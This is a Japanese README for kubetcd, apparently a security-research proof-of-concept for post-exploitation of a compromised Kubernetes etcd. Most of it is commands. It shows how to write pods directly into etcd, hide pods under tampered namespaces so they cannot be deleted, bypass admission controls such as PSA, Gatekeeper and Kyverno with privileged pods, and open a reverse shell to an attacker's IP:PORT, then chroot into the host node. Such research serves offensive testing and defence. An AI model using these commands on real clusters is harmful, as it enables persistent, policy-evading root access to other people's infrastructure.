
侵害されたetcdをポストエクスプロイトし、永続性を獲得してノードへのリモートシェルを取得します。
https://github.com/jpbetz/auger のラッパーです。
etcd に直接書き込むことでポッドのデプロイを自動化します。侵害済み etcd のポストエクスプロイテーションのための複数の機能を含みます。
[!WARNING]
これは PoC であり、本番環境では使用しないでください。etcd に直接書き込むと、不整合やデータ破損が発生する可能性があり、kube-apiserverのロジックが etcd からデータを取得または操作できなくなる可能性があります。複数ノードのテスト環境は KIND でデプロイできます。
メインのリポジトリである auger は、etcd 内の protobuf エントリをシリアライズ/デシリアライズする主要機能を提供します。Kubetcd は、これらの機能をラップして、通常の kubectl クライアントに etcdctl を近似させる PoC です。侵害された etcd のシナリオでは、kubetcd は改ざんされた特権ポッドを使用して、クラスター内の任意の/すべてのホストへの永続化と特権アクセスを試みます。kubetcd は現在ポッド操作のみをサポートしていることに注意してください。
Kubetcd は、etcd サービスに対して認証するための証明書とキーを、以下のデフォルトパスから取得します:
また、デフォルトのエンドポイントは 127.0.0.1:2379 に設定されています。
上記のデフォルト値はすべてパラメータで変更できます。
また、etcd のクライアントである etcdctl がインストールされている必要があります。
sudo apt install etcd-client
チェックアウトしてビルドします:
git clone https://github.com/nccgroup/kubetcd
cd kubetcd
go build -buildvcs=false .
次のエラーが発生する場合があります:
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by ./kubetcd)
./kubetcd: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./kubetcd)
その場合は、Golang 1.19 で kubetcd をビルドしてください。
auger の主要機能については https://github.com/jpbetz/auger を参照してください。それらの機能は引き続き利用できます。 この README では、ラッパーによって追加された新機能のみを詳しく説明します:
./kubetcd -h
./kubetcd get pods
#or
./kubetcd get pod <name> -n <namespace>
templateName は、default 名前空間で実行中のポッドである必要があります:
./kubetcd create pod <name> -t <templateName>
同じ name と templateName の値を設定するだけで、実行中のポッドを上書きできます。
./kubetcd create pod <name> -t <templateName> --image <image>
./kubetcd create pod <name> -t <templateName> --time "2000-01-31T00:00:00Z"
ETCD は新しいポッドを /registry/pods/<namespace>/<name> に保存しますが、namespace と name フィールドは改ざんされる可能性があります。
そのため、これらのポッドは kubectl で一覧表示できますが、削除はできません。
./kubetcd create pod <name> -t <templateName> -p <randomentry>
#Will add an entry in /registry/pods/default/<randomentry>
#Or tamperede namespace
./kubetcd create pod <name> -t <templateName> -n <namespace> --fake-ns
#Will add an entry in /registry/pods/<namespace>/<randomentry> but it will run in default namespace
任意のノードにワークロードを自由にデプロイします:
./kubetcd get nodes
./kubetcd create pod <name> -t <templatename> --node <nodeName>
制限された名前空間に特権ポッドをデプロイします。 これにより、PSP、PSA などの組み込みの AdmissionControllers や、OPA Gatekeer や Kyverno のようなカスタムポリシーに基づくその他のポリシーをバイパスします:
./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P
-P フラグは、任意のポッドを privileged に設定し、基盤となるノードと network、PID、IPC 名前空間を共有します。
制限された名前空間に特権ポッドをデプロイし、リモートシェルを取得します:
./kubetcd create pod <name> -t <nameTemplate> -n <restrictedNamespace> -P -r <IP>:<PORT>
これにより、デフォルトで多くのイメージに存在するリバース perl シェルが起動します。
リバースシェルを取得したら、chroot /host でルートファイルシステムを変更し、ノードへの完全なアクセスを取得します。
corev1 ブランチ以外の要素の作成/取得/削除のサポートを追加